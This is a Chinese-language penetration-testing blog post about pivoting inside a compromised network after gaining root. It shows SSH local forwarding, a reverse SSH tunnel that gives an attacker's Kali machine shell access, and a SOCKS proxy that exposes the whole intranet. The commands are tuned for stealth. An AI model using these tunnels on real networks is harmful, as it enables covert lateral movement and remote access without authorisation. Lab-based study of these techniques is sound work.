欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注
今天又是很累很累的一天,又是训练什么的,气死我了。真的希望这种官僚主义能够狗带!先上拓扑图:
话不多说,我之前学到了提权那里,也就意味着,我们已经有了一台内网主机的root权限,这个时候,我们往往想着能攻下整个内网。也就是扩大战果。但是这需要做很多提前准备工作。。。。比如ssh隧道。
一、SSH正向连接
我们在web服务器端输入:ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 (web服务器当前用户,eg:xyy)@192.168.0.144(当前web服务器ip)
这条命令的意思是是:-C:压缩传输数据 N:带端口转发 f:在执行命令前退回后台,不容易被入侵者发现吧我想 L:主机:端口:主机端口 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
把web服务器的7777端口和目标数据服务器(公网ip10.10.10.128)的80端口映射,相当于在这两个地方建立了一个ssh隧道。然后在kali黑客的浏览器访问192.168.0.144:7777。即可。
二、SSH反向连接(较为常用)
ssh -qTfnN -R port:host:hostport remote_ip
ssh –qTfnN –R 2222:127.0.0.1:22 (攻击机的用户)@192.168.0.115
ssh –p 2222 (主动去连接攻击机的web服务器,这台机子的用户(也就是web服务器的用户))@127.0.0.1
-q:quit,静音模式,去除警告信息 -T:禁止分伪终端 -R 反向连接getshell,反弹shell 以上命令的意思是:本机的2222端口,经ssh通道主动反弹一个shell给kali的root用户的22端口
但是!!!!!
需要注意的是,两台建立ssh通道的机子必须都开放ssh服务, etc/init.d/ssh start
这里你可能会问?为何正向连接只需要输入一个密码,但是反向连接却需要两个用户都……可以参考ssh的连接方式中密钥的2种交换方式:https://zhuanlan.zhihu.com/p/46235721
其中OpenSSL这个方式可以了解一下,貌似打靶机时候用得到。
三、SSL代理
SSH -qTfnN -D port remotehost
原理如上图,试想,如果吧web服务器当做黑客的代理会如何???整个内网岂不是都沦陷了??哈哈哈哈